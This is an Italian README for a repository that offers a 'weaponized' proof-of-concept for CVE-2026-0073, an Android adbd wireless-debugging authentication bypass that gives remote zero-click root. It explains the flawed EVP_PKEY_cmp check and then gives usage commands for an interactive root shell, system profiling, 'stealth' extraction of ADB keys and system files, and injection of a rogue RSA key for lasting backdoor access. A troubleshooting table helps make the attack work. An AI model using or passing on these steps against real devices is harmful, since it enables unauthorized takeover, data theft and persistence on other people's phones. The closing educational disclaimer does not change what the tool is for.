
Weaponized proof-of-concept per CVE-2026-0073, un bypass dell'autenticazione adbd su Android che consente l'accesso root remoto zero-click tramite ADB wireless, con moduli post-exploitation per profilazione, estrazione e persistenza.
Proof of Concept armato per la vulnerabilità di bypass dell'autenticazione TLS ADB Wireless. Scoperta da Barghest, PoC armato da devtint.
CVE-2026-0073 è un errore critico di logica crittografica nel demone Android Debug Bridge (adbd) che concede a un attaccante non autenticato sulla stessa rete locale accesso root remoto Zero-Click.
Questo repository contiene:
adb_tls_auth_bypass.py — PoC pulito e autonomo per il bypass dell'autenticazione STLS/TLS.main.py — Framework di sfruttamento massimizzato con profilazione automatizzata, estrazione di artefatti e iniezione di persistenza.La vulnerabilità risiede in daemon/auth.cpp all'interno della funzione adbd_tls_verify_cert(). Quando un client si connette tramite ADB Wireless (percorso STLS), avviene un handshake TLS 1.3 reciproco. Il dispositivo confronta la chiave pubblica del client con le chiavi autorizzate memorizzate usando EVP_PKEY_cmp() di OpenSSL.
// daemon/auth.cpp — La logica vulnerabile
if (EVP_PKEY_cmp(stored_key, client_key)) {
// EVP_PKEY_cmp restituisce:
// 1 = le chiavi corrispondono
// 0 = le chiavi differiscono
// -1 = tipo non corrispondente (RSA vs EC) ← BUG: truthy in C++
authorized = true;
}
EVP_PKEY_cmp() restituisce -1 (tipo non corrispondente).-1 viene valutato come true.adbd interpreta questo -1 come una corrispondenza perfetta.Questo exploit funziona solo sul percorso STLS del Debugging Wireless, non sul percorso legacy adb tcpip.
| Modalità di connessione |
|---|
192.168.1.34:38741)Questo significa che ti stai connettendo a una porta ADB TCP legacy (tipicamente 5555). Il percorso legacy usa il vecchio handshake RSA AUTH — un percorso di codice completamente diverso in adbd che non è influenzato da questa CVE. Devi connetterti alla porta del Debugging Wireless.
Il framework (main.py) estende il bypass TLS di base in un toolkit modulare post-sfruttamento:
uid=0(root).--profile): Identifica istantaneamente il sistema operativo target, il livello di patch di sicurezza, l'applicazione di SELinux e le tabelle di routing attive per il pivoting sulla rete interna.--extract): Esfiltra automaticamente file di sistema altamente sensibili (es., /data/misc/adb/adb_keys, /system/build.prop) direttamente tramite il socket di bypass.--persist): Inietta una chiave pubblica RSA rogue nel file delle chiavi autorizzate del target. Una volta iniettata, l'attaccante mantiene accesso permanente e completamente autenticato anche se la CVE viene successivamente patchata.Installa le dipendenze:
pip install cryptography
Individua il target: Trova un dispositivo Android con Debugging Wireless attivo sulla tua sottorete locale. Annota la porta dinamica dalla schermata Opzioni sviluppatore del dispositivo.
Esegui il framework di exploit:
# Shell interattiva (predefinita)
python main.py <IP> <PORTA>
# Esecuzione di un singolo comando
python main.py <IP> <PORTA> --cmd "id"
# Profilazione automatica del sistema
python main.py <IP> <PORTA> --profile
# Estrazione stealth di artefatti
python main.py <IP> <PORTA> --extract
# Iniezione di chiave backdoor permanente
python main.py <IP> <PORTA> --persist
PoC autonomo (minimale):
python adb_tls_auth_bypass.py <IP> <PORTA> --cmd "id; whoami"
Questo repository è strettamente per scopi educativi, di red teaming e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni.
| Porta |
|---|
| Protocollo |
|---|
| Vulnerabile? |
|---|
adb tcpip 5555 (legacy) | 5555 (fissa) | AUTH (sfida RSA) | ❌ No |
| Debugging Wireless (Android 11+) | Casuale (30000–50000) | STLS → TLS 1.3 | ✅ Sì |
| Errore | Causa | Soluzione |
|---|
Connection refused | La porta è chiusa / Debugging Wireless è SPENTO | Attiva il Debugging Wireless, usa la porta dinamica corretta |
AUTH instead of STLS | Connessione a una porta ADB TCP legacy (porta 5555) | Usa la porta del Debugging Wireless, non la 5555 |
SSLV3_ALERT_CERTIFICATE_UNKNOWN | Il dispositivo è patchato (maggio 2026+) | Il target non è vulnerabile — la correzione funziona |
timed out | La porta è aperta ma non risponde correttamente | Verifica la porta, riavvia il Debugging Wireless sul dispositivo |